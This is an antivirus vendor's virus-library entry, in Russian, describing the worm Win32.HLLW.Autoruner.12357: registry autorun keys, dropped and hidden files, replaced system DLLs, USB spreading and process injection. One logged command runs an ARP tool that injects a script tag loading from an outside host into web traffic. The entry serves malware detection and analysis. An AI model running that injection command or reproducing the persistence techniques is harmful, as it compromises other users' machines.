ПОЛЬЗОВАТЕЛЯМ

Закрыть

Поиск

Поиск

Поддержка
Круглосуточная поддержка

Напишите

Запрос через форму

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Напишите

Задать вопрос в поддержку

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

RU
RU CN DE EN ES FR IT JP KZ UZ PL BY
Закрыть

Переключение языка сайта

Сервисы
Сканеры
FixIt!
Dr.Web vxCube
Экспертиза ВКИ
Вирусная библиотека
База знаний

Технологии

Термины

Обучение и просвещение

Мифы

Новости

Win32.HLLW.Autoruner.12357

Добавлен в вирусную базу Dr.Web: 2013-05-29

Описание добавлено:

Техническая информация

Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
  • [<HKLM>\SOFTWARE\Microsoft\Active Setup\Installed Components\{H8I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}] 'stubpath' = ''
Создает или изменяет следующие файлы:
  • %WINDIR%\Tasks\ВМ»Ї.bat
  • %WINDIR%\Tasks\wsock32.dll
  • %WINDIR%\Tasks\alg.exe
  • %WINDIR%\Tasks\killbase.vbs
Подменяет следующие исполняемые системные файлы:
  • <SYSTEM32>\dllcache\sniffpol.dll файлом <SYSTEM32>\dllcache\sniffpol.dll.new
  • <SYSTEM32>\dllcache\bnts.dll файлом <SYSTEM32>\dllcache\bnts.dll.new
  • <SYSTEM32>\dllcache\tshoot.dll файлом <SYSTEM32>\dllcache\tshoot.dll.new
  • <SYSTEM32>\dllcache\sstub.dll файлом <SYSTEM32>\dllcache\sstub.dll.new
  • %WINDIR%\Help\sniffpol.dll файлом %WINDIR%\Help\sniffpol.dll.new
  • %WINDIR%\Help\bnts.dll файлом %WINDIR%\Help\bnts.dll.new
  • %WINDIR%\Help\tshoot.dll файлом %WINDIR%\Help\tshoot.dll.new
  • %WINDIR%\Help\sstub.dll файлом %WINDIR%\Help\sstub.dll.new
Создает следующие файлы на съемном носителе:
  • <Имя диска съемного носителя>:\recycle.{645FF040-5081-101B-9F08-00AA002F954E}\ghosts.exe
  • <Имя диска съемного носителя>:\AUTORUN.INF
Вредоносные функции:
Создает и запускает на исполнение:
  • '%TEMP%\nSdQuG1bCx.pif'
  • '%TEMP%\djR2UcWPIv.pif'
  • '%TEMP%\XNz1qQIlwM.pif'
  • '%TEMP%\QAPOdbQLp6.pif'
  • '%TEMP%\Kn45uvrGhU.pif'
  • '%TEMP%\DEkThm27ae.pif'
  • '%TEMP%\wr6a4GDx3z.pif'
  • '%TEMP%\3vjJ9v7UDs.pif'
  • '%WINDIR%\Tasks\alg.exe'
  • '<SYSTEM32>\wincap.exe'
  • '<SYSTEM32>\arps.com' -idx 0 -ip 10.0.0.2-10.0.0.255 -port 80 -insert "<script language="javascript" src="http://gr##.woxwngw.cn/index.htm"></script>"
  • '%TEMP%\qt0XvHr0AU.pif'
  • '%TEMP%\XNz1qQIlwM.pif' (загружен из сети Интернет)
  • '%TEMP%\Kn45uvrGhU.pif' (загружен из сети Интернет)
  • '%TEMP%\QAPOdbQLp6.pif' (загружен из сети Интернет)
  • '%TEMP%\3vjJ9v7UDs.pif' (загружен из сети Интернет)
  • '%TEMP%\qt0XvHr0AU.pif' (загружен из сети Интернет)
  • '<SYSTEM32>\cmd.exe' (загружен из сети Интернет)
  • '<SYSTEM32>\wincap.exe' (загружен из сети Интернет)
  • '<SYSTEM32>\arps.com' (загружен из сети Интернет)
  • '%TEMP%\wr6a4GDx3z.pif' (загружен из сети Интернет)
  • '%TEMP%\DEkThm27ae.pif' (загружен из сети Интернет)
  • '%TEMP%\djR2UcWPIv.pif' (загружен из сети Интернет)
  • '%TEMP%\nSdQuG1bCx.pif' (загружен из сети Интернет)
Запускает на исполнение:
  • '<SYSTEM32>\ipconfig.exe'
  • '<SYSTEM32>\cmd.exe' /c c:\mfxixue.bat
Внедряет код в
следующие системные процессы:
  • <SYSTEM32>\svchost.exe
  • <SYSTEM32>\cmd.exe
Завершает или пытается завершить
следующие пользовательские процессы:
  • 360tray.exe
Изменения в файловой системе:
Создает следующие файлы:
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\xml\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\xpinstall\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\security\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\svg\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\xslt\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\unix\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\win\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\mac\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\search\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser-region\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\safebrowsing\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\sidebar\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\alerts\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\dom\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\layout\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\autoconfig\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\cookie\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\pipnss\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\pippki\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\necko\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\passwordmgr\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\feedback\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\services\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\extensions\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\handling\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-region\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\downloads\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\plugins\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\update\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\xpinstall\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\preferences\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\profile\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\safebrowsing\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\search\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\preferences\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\preferences\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\feeds\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\pageinfo\wsock32.dll
  • %PROGRAM_FILES%\ComPlus Applications\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\branding\wsock32.dll
  • %CommonProgramFiles%\System\wsock32.dll
  • %CommonProgramFiles%\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\bookmarks\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\history\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\migration\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\certerror\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\feeds\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\tabbrowser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\branding\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\downloads\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\preferences\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\feeds\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\migration\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\communicator\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\feeds\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\tabview\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\tabview\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\preferences\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\tabbrowser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\alerts\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\arrow\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\checkbox\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\icons\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\media\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\console\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\dirListing\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\xpinstall\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\handling\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\passwordmgr\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\downloads\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\extensions\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\update\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\viewsource\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\plugins\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\profile\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\printpreview\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\profile\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\update\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\plugins\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\viewsource\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\xpinstall\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\passwordmgr\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\splitter\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\toolbar\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\radio\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\scrollbar\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\tree\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\extensions\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\handling\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\downloads\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\extensions\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\handling\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\global\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\downloads\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\plugins\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\update\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\xpinstall\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\preferences\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\profile\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\global\xml\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\pippki\content\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\pippki\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\pippki\content\pippki\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\cookie\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\global\cpow\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\global\svg\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\global\alerts\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\global\bindings\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\printpreview\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\radio\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\icons\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\media\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\scrollbar\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\tree\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\splitter\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\toolbar\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\dirListing\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\xbl-marquee\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\passwordmgr\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\satchel\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\res\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\checkbox\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\console\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\alerts\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\arrow\wsock32.dll
  • C:\Far2\Plugins\HlfViewer\wsock32.dll
  • %TEMP%\djR2UcWPIv.pif
  • C:\Far2\Plugins\FTP\wsock32.dll
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\2[1].exe
  • C:\Far2\Plugins\MacroView\wsock32.dll
  • C:\Far2\Plugins\TmpPanel\wsock32.dll
  • C:\Far2\Plugins\WinSCP\components\wsock32.dll
  • C:\Far2\Plugins\Network\wsock32.dll
  • C:\Far2\Plugins\ProcList\wsock32.dll
  • C:\Far2\Plugins\FTP\lib\wsock32.dll
  • C:\Far2\Plugins\ExtSearch\keys\wsock32.dll
  • %TEMP%\666kbwxJAP.pif
  • C:\Far2\Plugins\ExtSearch\doc\wsock32.dll
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\1[1].exe
  • C:\Far2\Plugins\ExtSearch\sources\RegExp\wsock32.dll
  • C:\Far2\Plugins\FarCmds\wsock32.dll
  • C:\Far2\Plugins\FileCase\wsock32.dll
  • C:\Far2\Plugins\ExtSearch\sources\wsock32.dll
  • C:\Far2\Plugins\ExtSearch\wsock32.dll
  • C:\Far2\Plugins\WinSCP\console\wsock32.dll
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\5[1].exe
  • %TEMP%\wr6a4GDx3z.pif
  • C:\Far2\Plugins\WinSCP\packages\dragndrop\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\filemng\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\my\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\theme\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\tb2k\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\tbx\wsock32.dll
  • C:\Far2\Plugins\WinSCP\lib\wsock32.dll
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\4[1].exe
  • C:\Far2\Plugins\WinSCP\far\wsock32.dll
  • C:\Far2\Plugins\WinSCP\core\wsock32.dll
  • C:\Far2\Plugins\WinSCP\dragext\wsock32.dll
  • %TEMP%\nSdQuG1bCx.pif
  • C:\Far2\Plugins\WinSCP\filezilla\wsock32.dll
  • C:\Far2\Plugins\WinSCP\forms\wsock32.dll
  • C:\Far2\Plugins\WinSCP\fari\wsock32.dll
  • C:\Far2\Plugins\WinSCP\filezilla\misc\wsock32.dll
  • C:\Far2\Addons\XLat\Russian\wsock32.dll
  • C:\Far2\Addons\XLat\wsock32.dll
  • C:\Far2\Addons\SetUp\wsock32.dll
  • C:\Far2\Addons\Shell\wsock32.dll
  • C:\Far2\Addons\wsock32.dll
  • C:\Far2\Documentation\wsock32.dll
  • C:\Far2\Encyclopedia\wsock32.dll
  • C:\Far2\Documentation\eng\wsock32.dll
  • C:\Far2\Documentation\rus\wsock32.dll
  • C:\Far2\Addons\Macros\wsock32.dll
  • <SYSTEM32>\wincap.exe
  • <Текущая директория>\wsock32.dll
  • C:\mfxixue.bat
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\wincap[1].exe
  • C:\Far2\Addons\Colors\Custom Highlighting\wsock32.dll
  • <SYSTEM32>\arps.com
  • C:\Far2\Addons\Colors\wsock32.dll
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\arp[1].exe
  • C:\Far2\Addons\Colors\Default Highlighting\wsock32.dll
  • C:\Far2\FExcept\wsock32.dll
  • %TEMP%\qt0XvHr0AU.pif
  • C:\Far2\Plugins\Colorer\hrd\wsock32.dll
  • C:\Far2\Plugins\Colorer\hrd\console\wsock32.dll
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\3[1].exe
  • C:\Far2\Plugins\Colorer\wsock32.dll
  • C:\Far2\Plugins\EditCase\wsock32.dll
  • C:\Far2\Plugins\EMenu\wsock32.dll
  • C:\Far2\Plugins\Compare\wsock32.dll
  • C:\Far2\Plugins\DrawLine\wsock32.dll
  • C:\Far2\Plugins\Colorer\hrd\console\contrib\wsock32.dll
  • C:\Far2\Plugins\arclite\wsock32.dll
  • C:\Far2\Plugins\AutoWrap\wsock32.dll
  • C:\Far2\Plugins\7-Zip\wsock32.dll
  • C:\Far2\Plugins\Align\wsock32.dll
  • C:\Far2\Plugins\Brackets\wsock32.dll
  • C:\Far2\Plugins\Colorer\hrc\auto\wsock32.dll
  • C:\Far2\Plugins\Colorer\hrc\wsock32.dll
  • C:\Far2\Plugins\Colorer\bin\wsock32.dll
  • C:\Far2\Plugins\Colorer\hrc\auto\types\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bots\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\isapi\_vti_adm\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bin\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bots\vinavbar\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\isapi\_vti_aut\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\_vti_bin\_vti_adm\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\_vti_bin\_vti_aut\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\isapi\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\servsupp\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bin\1033\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\VC\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\VGX\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\TextConv\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\Triedit\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\Web Folders\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admisapi\scripts\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admisapi\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admcgi\scripts\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admcgi\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\_vti_bin\wsock32.dll
  • %CommonProgramFiles%\SpeechEngines\Microsoft\TTS\1033\wsock32.dll
  • %CommonProgramFiles%\SpeechEngines\Microsoft\TTS\wsock32.dll
  • %CommonProgramFiles%\SpeechEngines\Microsoft\Lexicon\1033\wsock32.dll
  • %CommonProgramFiles%\SpeechEngines\Microsoft\Lexicon\wsock32.dll
  • %CommonProgramFiles%\SpeechEngines\Microsoft\wsock32.dll
  • %CommonProgramFiles%\System\msadc\wsock32.dll
  • %CommonProgramFiles%\System\Ole DB\wsock32.dll
  • %CommonProgramFiles%\SpeechEngines\wsock32.dll
  • %CommonProgramFiles%\System\ado\wsock32.dll
  • %CommonProgramFiles%\Services\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\wsock32.dll
  • %CommonProgramFiles%\MSSoap\Binaries\Resources\1033\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\wsock32.dll
  • %CommonProgramFiles%\MSSoap\Binaries\Resources\wsock32.dll
  • %CommonProgramFiles%\ODBC\Data Sources\wsock32.dll
  • %CommonProgramFiles%\ODBC\wsock32.dll
  • %CommonProgramFiles%\MSSoap\Binaries\wsock32.dll
  • %CommonProgramFiles%\MSSoap\wsock32.dll
  • %TEMP%\QAPOdbQLp6.pif
  • C:\Far2\Plugins\wsock32.dll
  • %TEMP%\Kn45uvrGhU.pif
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\8[1].exe
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\9[1].exe
  • C:\Far2\PluginSDK\Headers.pas\wsock32.dll
  • C:\Far2\PluginSDK\wsock32.dll
  • %TEMP%\XNz1qQIlwM.pif
  • C:\Far2\PluginSDK\Headers.c\wsock32.dll
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\7[1].exe
  • %TEMP%\DEkThm27ae.pif
  • C:\Far2\Plugins\WinSCP\putty\windows\wsock32.dll
  • C:\Far2\Plugins\WinSCP\putty\charset\wsock32.dll
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\6[1].exe
  • C:\Far2\Plugins\WinSCP\putty\wsock32.dll
  • C:\Far2\Plugins\WinSCP\windows\wsock32.dll
  • C:\Far2\Plugins\WinSCP\wsock32.dll
  • C:\Far2\Plugins\WinSCP\release\wsock32.dll
  • C:\Far2\Plugins\WinSCP\resource\wsock32.dll
  • C:\Far2\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\2052\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\3082\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1041\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1042\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\Speech\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\Stationery\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\MSInfo\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\Speech\1033\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1040\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1025\wsock32.dll
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\10[1].exe
  • <Служебный элемент>
  • %CommonProgramFiles%\Microsoft Shared\DAO\wsock32.dll
  • %TEMP%\3vjJ9v7UDs.pif
  • %CommonProgramFiles%\Microsoft Shared\DW\1033\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1036\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1028\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1031\wsock32.dll
Присваивает атрибут 'скрытый' для следующих файлов:
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-region\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\downloads\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\win\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\extensions\wsock32.dll
